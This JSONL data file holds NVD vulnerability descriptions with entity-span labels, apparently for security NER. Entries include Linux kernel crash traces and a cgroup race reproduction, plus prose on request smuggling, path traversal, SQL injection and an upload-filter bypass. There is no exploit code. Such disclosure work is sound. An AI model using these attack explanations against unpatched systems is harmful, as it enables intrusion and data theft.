{"text": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host versions prior to 25.1.102 and Application versions prior to 25.1.1413 include Windows client components (PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe, PrinterInstallerClientLauncher.exe) that lack modern compile-time and runtime exploit mitigations and rely on outdated runtimes. These binaries are built as 32-bit, without Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), or stack-protection, and they incorporate legacy technologies (Pascal/Delphi and Python 2) which are no longer commonly maintained. Several of these processes run with elevated privileges (NT AUTHORITY\\SYSTEM for PrinterInstallerClient.exe and PrinterInstallerClientLauncher.exe), and the client automatically downloads and installs printer drivers. The absence of modern memory safety mitigations and the use of unmaintained runtimes substantially increase the risk that memory-corruption or other exploit primitives — for example from crafted driver content or maliciously crafted inputs — can be turned into remote or local code execution and privilege escalation to SYSTEM. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.", "spans": {"SYSTEM: Windows": [[139, 146]], "SYSTEM: Python": [[587, 593]], "VULNERABILITY: privilege escalation": [[1152, 1172]], "VULNERABILITY: code execution": [[1133, 1147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-34193"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: arm-ni: Unregister PMUs on probe failure\n\nWhen a resource allocation fails in one clock domain of an NI device,\nwe need to properly roll back all previously registered perf PMUs in\nother clock domains of the same device.\n\nOtherwise, it can lead to kernel panics.\n\nCalling arm_ni_init+0x0/0xff8 [arm_ni] @ 2374\narm-ni ARMHCB70:00: Failed to request PMU region 0x1f3c13000\narm-ni ARMHCB70:00: probe with driver arm-ni failed with error -16\nlist_add corruption: next->prev should be prev (fffffd01e9698a18),\nbut was 0000000000000000. (next=ffff10001a0decc8).\npstate: 6340009 (nZCv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=--)\npc : list_add_valid_or_report+0x7c/0xb8\nlr : list_add_valid_or_report+0x7c/0xb8\nCall trace:\n __list_add_valid_or_report+0x7c/0xb8\n perf_pmu_register+0x22c/0x3a0\n arm_ni_probe+0x554/0x70c [arm_ni]\n platform_probe+0x70/0xe8\n really_probe+0xc6/0x4d8\n driver_probe_device+0x48/0x170\n __driver_attach+0x8e/0x1c0\n bus_for_each_dev+0x64/0xf0\n driver_add+0x138/0x260\n bus_add_driver+0x68/0x138\n __platform_driver_register+0x2c/0x40\n arm_ni_init+0x14/0x2a [arm_ni]\n do_init_module+0x36/0x298\n---[ end trace 0000000000000000 ]---\nKernel panic - not syncing: Oops - BUG: Fatal exception\nSMP: stopping secondary CPUs", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38168"}}
{"text": "Juniper Networks Junos OS uses the 128.0.0.0/2 subnet for internal communications between the RE and PFEs. It was discovered that packets utilizing these IP addresses may egress an EX4300 switch, leaking configuration information such as heartbeats, kernel versions, etc. out to the Internet, leading to an information exposure vulnerability. This issue affects Juniper Networks Junos OS: 14.1X53 versions prior to 14.1X53-D53 on EX4300; 15.1 versions prior to 15.1R7-S6 on EX4300; 15.1X49 versions prior to 15.1X49-D200, 15.1X49-D210 on EX4300; 16.1 versions prior to 16.1R7-S7 on EX4300; 17.1 versions prior to 17.1R2-S11, 17.1R3-S2 on EX4300; 17.2 versions prior to 17.2R3-S3 on EX4300; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7 on EX4300; 17.4 versions prior to 17.4R2-S9, 17.4R3 on EX4300; 18.1 versions prior to 18.1R3-S8 on EX4300; 18.2 versions prior to 18.2R3-S2 on EX4300; 18.3 versions prior to 18.3R2-S3, 18.3R3, 18.3R3-S1 on EX4300; 18.4 versions prior to 18.4R1-S5, 18.4R2-S3, 18.4R3 on EX4300; 19.1 versions prior to 19.1R1-S4, 19.1R2 on EX4300; 19.2 versions prior to 19.2R1-S4, 19.2R2 on EX4300; 19.3 versions prior to 19.3R1-S1, 19.3R2 on EX4300.", "spans": {"IP_ADDRESS: 128.0.0.0": [[35, 44]], "ORGANIZATION: Juniper": [[0, 7], [362, 369]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1628"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoundwire: bus: Fix unbalanced pm_runtime_put() causing usage count underflow\n\nThis reverts commit\n443a98e649b4 (\"soundwire: bus: use pm_runtime_resume_and_get()\")\n\nChange calls to pm_runtime_resume_and_get() back to pm_runtime_get_sync().\nThis fixes a usage count underrun caused by doing a pm_runtime_put() even\nthough pm_runtime_resume_and_get() returned an error.\n\nThe three affected functions ignore -EACCES error from trying to get\npm_runtime, and carry on, including a put at the end of the function.\nBut pm_runtime_resume_and_get() does not increment the usage count if it\nreturns an error. So in the -EACCES case you must not call\npm_runtime_put().\n\nThe documentation for pm_runtime_get_sync() says:\n \"Consider using pm_runtime_resume_and_get() ...  as this is likely to\n result in cleaner code.\"\n\nIn this case I don't think it results in cleaner code because the\npm_runtime_put() at the end of the function would have to be conditional on\nthe return value from pm_runtime_resume_and_get() at the top of the\nfunction.\n\npm_runtime_get_sync() doesn't have this problem because it always\nincrements the count, so always needs a put. The code can just flow through\nand do the pm_runtime_put() unconditionally.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54259"}}
{"text": "SiYuan is a personal knowledge management system. Prior to 3.5.10, a path traversal vulnerability in the /export endpoint allows an attacker to read arbitrary files from the server filesystem. By exploiting double‑encoded traversal sequences, an attacker can access sensitive files such as conf/conf.json, which contains secrets including the API token, cookie signing key, and workspace access authentication code. Leaking these secrets may enable administrative access to the SiYuan kernel API, and in certain deployment scenarios could potentially be chained into remote code execution (RCE). This vulnerability is fixed in 3.5.10.", "spans": {"FILEPATH: conf.json": [[295, 304]], "VULNERABILITY: remote code execution": [[567, 588]], "VULNERABILITY: path traversal": [[69, 83]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30869"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: krealloc: Fix MTE false alarm in __do_krealloc\n\nThis patch addresses an issue introduced by commit 1a83a716ec233 (\"mm:\nkrealloc: consider spare memory for __GFP_ZERO\") which causes MTE\n(Memory Tagging Extension) to falsely report a slab-out-of-bounds error.\n\nThe problem occurs when zeroing out spare memory in __do_krealloc. The\noriginal code only considered software-based KASAN and did not account\nfor MTE. It does not reset the KASAN tag before calling memset, leading\nto a mismatch between the pointer tag and the memory tag, resulting\nin a false positive.\n\nExample of the error:\n==================================================================\nswapper/0: BUG: KASAN: slab-out-of-bounds in __memset+0x84/0x188\nswapper/0: Write at addr f4ffff8005f0fdf0 by task swapper/0/1\nswapper/0: Pointer tag: [f4], memory tag: [fe]\nswapper/0:\nswapper/0: CPU: 4 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.12.\nswapper/0: Hardware name: MT6991(ENG) (DT)\nswapper/0: Call trace:\nswapper/0:  dump_backtrace+0xfc/0x17c\nswapper/0:  show_stack+0x18/0x28\nswapper/0:  dump_stack_lvl+0x40/0xa0\nswapper/0:  print_report+0x1b8/0x71c\nswapper/0:  kasan_report+0xec/0x14c\nswapper/0:  __do_kernel_fault+0x60/0x29c\nswapper/0:  do_bad_area+0x30/0xdc\nswapper/0:  do_tag_check_fault+0x20/0x34\nswapper/0:  do_mem_abort+0x58/0x104\nswapper/0:  el1_abort+0x3c/0x5c\nswapper/0:  el1h_64_sync_handler+0x80/0xcc\nswapper/0:  el1h_64_sync+0x68/0x6c\nswapper/0:  __memset+0x84/0x188\nswapper/0:  btf_populate_kfunc_set+0x280/0x3d8\nswapper/0:  __register_btf_kfunc_id_set+0x43c/0x468\nswapper/0:  register_btf_kfunc_id_set+0x48/0x60\nswapper/0:  register_nf_nat_bpf+0x1c/0x40\nswapper/0:  nf_nat_init+0xc0/0x128\nswapper/0:  do_one_initcall+0x184/0x464\nswapper/0:  do_initcall_level+0xdc/0x1b0\nswapper/0:  do_initcalls+0x70/0xc0\nswapper/0:  do_basic_setup+0x1c/0x28\nswapper/0:  kernel_init_freeable+0x144/0x1b8\nswapper/0:  kernel_init+0x20/0x1a8\nswapper/0:  ret_from_fork+0x10/0x20\n==================================================================", "spans": {"FILEPATH: /0/1": [[847, 851]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53097"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: PAD: fix crash in exit_round_robin()\n\nThe kernel occasionally crashes in cpumask_clear_cpu(), which is called\nwithin exit_round_robin(), because when executing clear_bit(nr, addr) with\nnr set to 0xffffffff, the address calculation may cause misalignment within\nthe memory, leading to access to an invalid memory address.\n\n----------\nBUG: unable to handle kernel paging request at ffffffffe0740618\n        ...\nCPU: 3 PID: 2919323 Comm: acpi_pad/14 Kdump: loaded Tainted: G           OE  X --------- -  - 4.18.0-425.19.2.el8_7.x86_64 #1\n        ...\nRIP: 0010:power_saving_thread+0x313/0x411 [acpi_pad]\nCode: 89 cd 48 89 d3 eb d1 48 c7 c7 55 70 72 c0 e8 64 86 b0 e4 c6 05 0d a1 02 00 01 e9 bc fd ff ff 45 89 e4 42 8b 04 a5 20 82 72 c0 <f0> 48 0f b3 05 f4 9c 01 00 42 c7 04 a5 20 82 72 c0 ff ff ff ff 31\nRSP: 0018:ff72a5d51fa77ec8 EFLAGS: 00010202\nRAX: 00000000ffffffff RBX: ff462981e5d8cb80 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000246\nRBP: ff46297556959d80 R08: 0000000000000382 R09: ff46297c8d0f38d8\nR10: 0000000000000000 R11: 0000000000000001 R12: 000000000000000e\nR13: 0000000000000000 R14: ffffffffffffffff R15: 000000000000000e\nFS:  0000000000000000(0000) GS:ff46297a800c0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffffffe0740618 CR3: 0000007e20410004 CR4: 0000000000771ee0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n ? acpi_pad_add+0x120/0x120 [acpi_pad]\n kthread+0x10b/0x130\n ? set_kthread_struct+0x50/0x50\n ret_from_fork+0x1f/0x40\n        ...\nCR2: ffffffffe0740618\n\ncrash> dis -lr ffffffffc0726923\n        ...\n/usr/src/debug/kernel-4.18.0-425.19.2.el8_7/linux-4.18.0-425.19.2.el8_7.x86_64/./include/linux/cpumask.h: 114\n0xffffffffc0726918 <power_saving_thread+776>:\tmov    %r12d,%r12d\n/usr/src/debug/kernel-4.18.0-425.19.2.el8_7/linux-4.18.0-425.19.2.el8_7.x86_64/./include/linux/cpumask.h: 325\n0xffffffffc072691b <power_saving_thread+779>:\tmov    -0x3f8d7de0(,%r12,4),%eax\n/usr/src/debug/kernel-4.18.0-425.19.2.el8_7/linux-4.18.0-425.19.2.el8_7.x86_64/./arch/x86/include/asm/bitops.h: 80\n0xffffffffc0726923 <power_saving_thread+787>:\tlock btr %rax,0x19cf4(%rip)        # 0xffffffffc0740620 <pad_busy_cpus_bits>\n\ncrash> px tsk_in_cpu[14]\n$66 = 0xffffffff\n\ncrash> px 0xffffffffc072692c+0x19cf4\n$99 = 0xffffffffc0740620\n\ncrash> sym 0xffffffffc0740620\nffffffffc0740620 (b) pad_busy_cpus_bits [acpi_pad]\n\ncrash> px pad_busy_cpus_bits[0]\n$42 = 0xfffc0\n----------\n\nTo fix this, ensure that tsk_in_cpu[tsk_index] != -1 before calling\ncpumask_clear_cpu() in exit_round_robin(), just as it is done in\nround_robin_cpu().\n\n[ rjw: Subject edit, avoid updates to the same value ]", "spans": {"FILEPATH: /usr/src/debug/kernel-4.18.0-425.19.2.el8_7/linux-4.18.0-425.19.2.el8_7.x86_64/./include/linux/cpumask.h": [[1797, 1901], [1972, 2076]], "FILEPATH: /usr/src/debug/kernel-4.18.0-425.19.2.el8_7/linux-4.18.0-425.19.2.el8_7.x86_64/./arch/x86/include/asm/bitops.h": [[2161, 2271]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49935"}}
{"text": "An issue was discovered in Pulse Secure Pulse Connect Secure (PCS) through 2020-04-06. The applet in tncc.jar, executed on macOS, Linux, and Solaris clients when a Host Checker policy is enforced, launches a TCP server that accepts local connections on a random port. This can be reached by local HTTP clients, because up to 25 invalid lines are ignored, and because DNS rebinding can occur. (This server accepts, for example, a setcookie command that might be relevant to CVE-2020-11581 exploitation.)", "spans": {"CVE_ID: CVE-2020-11581": [[473, 487]], "SYSTEM: Linux": [[130, 135]], "SYSTEM: macOS": [[123, 128]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11582"}}
{"text": "A Missing Release of Memory after Effective Lifetime vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent, unauthenticated attacker to cause an FPC to crash, leading to Denial of Service (DoS).\n\nOn all Junos OS and Junos OS Evolved platforms, in an EVPN-VXLAN scenario, when specific ARP packets are received on an IPv4 network, or specific NDP packets are received on an IPv6 network, kernel heap memory leaks, which eventually leads to an FPC crash and restart.\n\nThis issue does not affect MX Series platforms.\nHeap size growth on FPC can be seen using below command.\n\n\nuser@host> show chassis fpc\n                    Temp CPU Utilization (%) CPU Utilization (%) Memory   Utilization (%)\nSlot State           (C) Total Interrupt     1min   5min   15min   DRAM (MB)   Heap   Buffer\n  0 Online           45     3         0       2       2      2       32768      19       0 <<<<<<< Heap increase in all fPCs\n\n\nThis issue affects Junos OS:\n\n  *  All versions before 21.2R3-S7,\n  *  21.4 versions before 21.4R3-S4,\n  *  22.2 versions before 22.2R3-S1, \n  *  22.3 versions before 22.3R3-S1, \n  *  22.4 versions before 22.4R2-S2, 22.4R3.\n\n\nand Junos OS Evolved:\n\n  *  All versions before 21.2R3-S7-EVO,\n  *  21.4-EVO versions before 21.4R3-S4-EVO,\n  *  22.2-EVO versions before 22.2R3-S1-EVO, \n  *  22.3-EVO versions before 22.3R3-S1-EVO, \n\n  *  22.4-EVO versions before 22.4R3-EVO.", "spans": {"ORGANIZATION: Juniper": [[108, 115]], "VULNERABILITY: Denial of Service": [[237, 254]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21595"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd-raid10: fix KASAN warning\n\nThere's a KASAN warning in raid10_remove_disk when running the lvm\ntest lvconvert-raid-reshape.sh. We fix this warning by verifying that the\nvalue \"number\" is valid.\n\nBUG: KASAN: slab-out-of-bounds in raid10_remove_disk+0x61/0x2a0 [raid10]\nRead of size 8 at addr ffff889108f3d300 by task mdX_raid10/124682\n\nCPU: 3 PID: 124682 Comm: mdX_raid10 Not tainted 5.19.0-rc6 #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x34/0x44\n print_report.cold+0x45/0x57a\n ? __lock_text_start+0x18/0x18\n ? raid10_remove_disk+0x61/0x2a0 [raid10]\n kasan_report+0xa8/0xe0\n ? raid10_remove_disk+0x61/0x2a0 [raid10]\n raid10_remove_disk+0x61/0x2a0 [raid10]\nBuffer I/O error on dev dm-76, logical block 15344, async page read\n ? __mutex_unlock_slowpath.constprop.0+0x1e0/0x1e0\n remove_and_add_spares+0x367/0x8a0 [md_mod]\n ? super_written+0x1c0/0x1c0 [md_mod]\n ? mutex_trylock+0xac/0x120\n ? _raw_spin_lock+0x72/0xc0\n ? _raw_spin_lock_bh+0xc0/0xc0\n md_check_recovery+0x848/0x960 [md_mod]\n raid10d+0xcf/0x3360 [raid10]\n ? sched_clock_cpu+0x185/0x1a0\n ? rb_erase+0x4d4/0x620\n ? var_wake_function+0xe0/0xe0\n ? psi_group_change+0x411/0x500\n ? preempt_count_sub+0xf/0xc0\n ? _raw_spin_lock_irqsave+0x78/0xc0\n ? __lock_text_start+0x18/0x18\n ? raid10_sync_request+0x36c0/0x36c0 [raid10]\n ? preempt_count_sub+0xf/0xc0\n ? _raw_spin_unlock_irqrestore+0x19/0x40\n ? del_timer_sync+0xa9/0x100\n ? try_to_del_timer_sync+0xc0/0xc0\n ? _raw_spin_lock_irqsave+0x78/0xc0\n ? __lock_text_start+0x18/0x18\n ? _raw_spin_unlock_irq+0x11/0x24\n ? __list_del_entry_valid+0x68/0xa0\n ? finish_wait+0xa3/0x100\n md_thread+0x161/0x260 [md_mod]\n ? unregister_md_personality+0xa0/0xa0 [md_mod]\n ? _raw_spin_lock_irqsave+0x78/0xc0\n ? prepare_to_wait_event+0x2c0/0x2c0\n ? unregister_md_personality+0xa0/0xa0 [md_mod]\n kthread+0x148/0x180\n ? kthread_complete_and_exit+0x20/0x20\n ret_from_fork+0x1f/0x30\n </TASK>\n\nAllocated by task 124495:\n kasan_save_stack+0x1e/0x40\n __kasan_kmalloc+0x80/0xa0\n setup_conf+0x140/0x5c0 [raid10]\n raid10_run+0x4cd/0x740 [raid10]\n md_run+0x6f9/0x1300 [md_mod]\n raid_ctr+0x2531/0x4ac0 [dm_raid]\n dm_table_add_target+0x2b0/0x620 [dm_mod]\n table_load+0x1c8/0x400 [dm_mod]\n ctl_ioctl+0x29e/0x560 [dm_mod]\n dm_compat_ctl_ioctl+0x7/0x20 [dm_mod]\n __do_compat_sys_ioctl+0xfa/0x160\n do_syscall_64+0x90/0xc0\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nLast potentially related work creation:\n kasan_save_stack+0x1e/0x40\n __kasan_record_aux_stack+0x9e/0xc0\n kvfree_call_rcu+0x84/0x480\n timerfd_release+0x82/0x140\nL __fput+0xfa/0x400\n task_work_run+0x80/0xc0\n exit_to_user_mode_prepare+0x155/0x160\n syscall_exit_to_user_mode+0x12/0x40\n do_syscall_64+0x42/0xc0\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nSecond to last potentially related work creation:\n kasan_save_stack+0x1e/0x40\n __kasan_record_aux_stack+0x9e/0xc0\n kvfree_call_rcu+0x84/0x480\n timerfd_release+0x82/0x140\n __fput+0xfa/0x400\n task_work_run+0x80/0xc0\n exit_to_user_mode_prepare+0x155/0x160\n syscall_exit_to_user_mode+0x12/0x40\n do_syscall_64+0x42/0xc0\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThe buggy address belongs to the object at ffff889108f3d200\n which belongs to the cache kmalloc-256 of size 256\nThe buggy address is located 0 bytes to the right of\n 256-byte region [ffff889108f3d200, ffff889108f3d300)\n\nThe buggy address belongs to the physical page:\npage:000000007ef2a34c refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1108f3c\nhead:000000007ef2a34c order:2 compound_mapcount:0 compound_pincount:0\nflags: 0x4000000000010200(slab|head|zone=2)\nraw: 4000000000010200 0000000000000000 dead000000000001 ffff889100042b40\nraw: 0000000000000000 0000000080200020 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff889108f3d200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff889108f3d280: 00 00\n---truncated---", "spans": {"FILEPATH: /01/2014": [[539, 547]], "FILEPATH: reshape.sh": [[186, 196]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[483, 487]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50211"}}
{"text": "async-h1 is an asynchronous HTTP/1.1 parser for Rust (crates.io). There is a request smuggling vulnerability in async-h1 before version 2.3.0. This vulnerability affects any webserver that uses async-h1 behind a reverse proxy, including all such Tide applications. If the server does not read the body of a request which is longer than some buffer length, async-h1 will attempt to read a subsequent request from the body content starting at that offset into the body. One way to exploit this vulnerability would be for an adversary to craft a request such that the body contains a request that would not be noticed by a reverse proxy, allowing it to forge forwarded/x-forwarded headers. If an application trusted the authenticity of these headers, it could be misled by the smuggled request. Another potential concern with this vulnerability is that if a reverse proxy is sending multiple http clients' requests along the same keep-alive connection, it would be possible for the smuggled request to specify a long content and capture another user's request in its body. This content could be captured in a post request to an endpoint that allows the content to be subsequently retrieved by the adversary. This has been addressed in async-h1 2.3.0 and previous versions have been yanked.", "spans": {"DOMAIN: crates.io": [[54, 63]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26281"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkernfs: Fix UAF in polling when open file is released\n\nA use-after-free (UAF) vulnerability was identified in the PSI (Pressure\nStall Information) monitoring mechanism:\n\nBUG: KASAN: slab-use-after-free in psi_trigger_poll+0x3c/0x140\nRead of size 8 at addr ffff3de3d50bd308 by task systemd/1\n\npsi_trigger_poll+0x3c/0x140\ncgroup_pressure_poll+0x70/0xa0\ncgroup_file_poll+0x8c/0x100\nkernfs_fop_poll+0x11c/0x1c0\nep_item_poll.isra.0+0x188/0x2c0\n\nAllocated by task 1:\ncgroup_file_open+0x88/0x388\nkernfs_fop_open+0x73c/0xaf0\ndo_dentry_open+0x5fc/0x1200\nvfs_open+0xa0/0x3f0\ndo_open+0x7e8/0xd08\npath_openat+0x2fc/0x6b0\ndo_filp_open+0x174/0x368\n\nFreed by task 8462:\ncgroup_file_release+0x130/0x1f8\nkernfs_drain_open_files+0x17c/0x440\nkernfs_drain+0x2dc/0x360\nkernfs_show+0x1b8/0x288\ncgroup_file_show+0x150/0x268\ncgroup_pressure_write+0x1dc/0x340\ncgroup_file_write+0x274/0x548\n\nReproduction Steps:\n1. Open test/cpu.pressure and establish epoll monitoring\n2. Disable monitoring: echo 0 > test/cgroup.pressure\n3. Re-enable monitoring: echo 1 > test/cgroup.pressure\n\nThe race condition occurs because:\n1. When cgroup.pressure is disabled (echo 0 > cgroup.pressure), it:\n   - Releases PSI triggers via cgroup_file_release()\n   - Frees of->priv through kernfs_drain_open_files()\n2. While epoll still holds reference to the file and continues polling\n3. Re-enabling (echo 1 > cgroup.pressure) accesses freed of->priv\n\nepolling\t\t\tdisable/enable cgroup.pressure\nfd=open(cpu.pressure)\nwhile(1)\n...\nepoll_wait\nkernfs_fop_poll\nkernfs_get_active = true\techo 0 > cgroup.pressure\n...\t\t\t\tcgroup_file_show\n\t\t\t\tkernfs_show\n\t\t\t\t// inactive kn\n\t\t\t\tkernfs_drain_open_files\n\t\t\t\tcft->release(of);\n\t\t\t\tkfree(ctx);\n\t\t\t\t...\nkernfs_get_active = false\n\t\t\t\techo 1 > cgroup.pressure\n\t\t\t\tkernfs_show\n\t\t\t\tkernfs_activate_one(kn);\nkernfs_fop_poll\nkernfs_get_active = true\ncgroup_file_poll\npsi_trigger_poll\n// UAF\n...\nend: close(fd)\n\nTo address this issue, introduce kernfs_get_active_of() for kernfs open\nfiles to obtain active references. This function will fail if the open file\nhas been released. Replace kernfs_get_active() with kernfs_get_active_of()\nto prevent further operations on released file descriptors.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[350, 357]], "VULNERABILITY: use-after-free": [[126, 140], [256, 270]], "VULNERABILITY: race condition": [[1125, 1139]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39881"}}
{"text": "A vulnerability has been identified in Mendix SAML (Mendix 7 compatible) (All versions < V1.17.0), Mendix SAML (Mendix 7 compatible) (All versions >= V1.17.0 < V1.17.2), Mendix SAML (Mendix 8 compatible) (All versions < V2.3.0), Mendix SAML (Mendix 8 compatible) (All versions >= V2.3.0 < V2.3.2), Mendix SAML (Mendix 9 compatible, New Track) (All versions < V3.3.1), Mendix SAML (Mendix 9 compatible, New Track) (All versions >= V3.3.1 < V3.3.5), Mendix SAML (Mendix 9 compatible, Upgrade Track) (All versions < V3.3.0), Mendix SAML (Mendix 9 compatible, Upgrade Track) (All versions >= V3.3.0 < V3.3.4). Affected versions of the module insufficiently protect from packet capture replay, only when the not recommended, non default configuration option `'Allow Idp Initiated Authentication'` is enabled. This CVE entry describes the incomplete fix for CVE-2022-37011 in a specific non default configuration.", "spans": {"CVE_ID: CVE-2022-37011": [[852, 866]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-44457"}}
{"text": "Privilege Defined With Unsafe Actions vulnerability in Apache Cassandra. An user with MODIFY permission ON ALL KEYSPACES can escalate privileges to superuser within a targeted Cassandra cluster via unsafe actions to a system resource. Operators granting data MODIFY permission on all keyspaces on affected versions should review data access rules for potential breaches.\n\n\n\nThis issue affects Apache Cassandra 3.0.30, 3.11.17, 4.0.16, 4.1.7, 5.0.2, but this advisory is only for 4.0.16 because the fix to CVE-2025-23015 was incorrectly applied to 4.0.16, so that version is still affected.\n\nUsers in the 4.0 series are recommended to upgrade to version 4.0.17 which fixes the issue. Users from 3.0, 3.11, 4.1 and 5.0 series should follow recommendation from CVE-2025-23015.", "spans": {"CVE_ID: CVE-2025-23015": [[505, 519], [758, 772]], "ORGANIZATION: Apache": [[55, 61], [393, 399]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-26467"}}
{"text": "The Profile Builder – User Profile & User Registration Forms plugin for WordPress is vulnerable to unauthorized password resets  in versions up to, and including 3.9.0. This is due to the plugin using native password reset functionality, with insufficient validation on the password reset function (wppb_front_end_password_recovery). The function uses the plaintext value of a password reset key instead of a hashed value which means it can easily be retrieved and subsequently used. An attacker can leverage CVE-2023-0814, or another vulnerability like SQL Injection in another plugin or theme installed on the site to successfully exploit this vulnerability.", "spans": {"CVE_ID: CVE-2023-0814": [[509, 522]], "SYSTEM: WordPress": [[72, 81]], "VULNERABILITY: SQL Injection": [[554, 567]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-2297"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_list_accounts.php. When parsing the username parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of root. Was ZDI-CAN-9717.", "spans": {"IP_ADDRESS: 0.9.8.923": [[131, 140]], "FILEPATH: ajax_list_accounts.php": [[236, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15618"}}
{"text": "On Juniper Networks Junos EX series, QFX Series, MX Series and SRX branch series devices, a memory leak occurs every time the 802.1X authenticator port interface flaps which can lead to other processes, such as the pfex process, responsible for packet forwarding, to crash and restart. An administrator can use the following CLI command to monitor the status of memory consumption: user@device> show task memory detail Please refer to https://kb.juniper.net/KB31522 for details. This issue affects Juniper Networks Junos OS: 14.1X53 versions prior to 14.1X53-D54; 15.1X49 versions prior to 15.1X49-D240 ; 15.1X53 versions prior to 15.1X53-D593; 16.1 versions prior to 16.1R7-S8; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S11, 17.4R3-S2; 18.1 versions prior to 18.1R3-S10 ; 18.2 versions prior to 18.2R2-S7, 18.2R3-S3; 18.3 versions prior to 18.3R2-S4, 18.3R3-S2; 18.4 versions prior to 18.4R1-S7, 18.4R2-S4, 18.4R3-S2; 19.1 versions prior to 19.1R1-S5, 19.1R2-S2, 19.1R3; 19.2 versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S2, 19.4R2. This issue does not affect Juniper Networks Junos OS 12.3, 15.1.", "spans": {"URL: https://kb.juniper.net/KB31522": [[435, 465]], "ORGANIZATION: Juniper": [[3, 10], [498, 505], [1181, 1188]], "VULNERABILITY: memory leak": [[92, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0215"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.15 and 8.6.41, an attacker who is allowed to upload files can bypass the file extension filter by appending a MIME parameter (e.g. `;charset=utf-8`) to the `Content-Type` header. This causes the extension validation to fail matching against the blocklist, allowing active content to be stored and served under the application's domain. In addition, certain XML-based file extensions that can render scripts in web browsers are not included in the default blocklist. This can lead to stored XSS attacks, compromising session tokens, user credentials, or other sensitive data accessible via the browser's local storage. The fix in versions 9.6.0-alpha.15 and 8.6.41 strips MIME parameters from the `Content-Type` header before validating the file extension against the blocklist. The default blocklist has also been extended to include additional XML-based extensions (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) that can render active content in web browsers. Note that the `fileUpload.fileExtensions` option is intended to be configured as an allowlist of file extensions that are valid for a specific application, not as a denylist. The default denylist is provided only as a basic default that covers most common problematic extensions. It is not intended to be an exhaustive list of all potentially dangerous extensions. Developers should not rely on the default value, as new extensions that can render active content in browsers might emerge in the future. As a workaround, configure the `fileUpload.fileExtensions` option to use an allowlist of only the file extensions that your application needs, rather than relying on the default blocklist.", "spans": {"FILEPATH: Node.js": [[95, 102]], "VULNERABILITY: stored XSS": [[608, 618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32728"}}
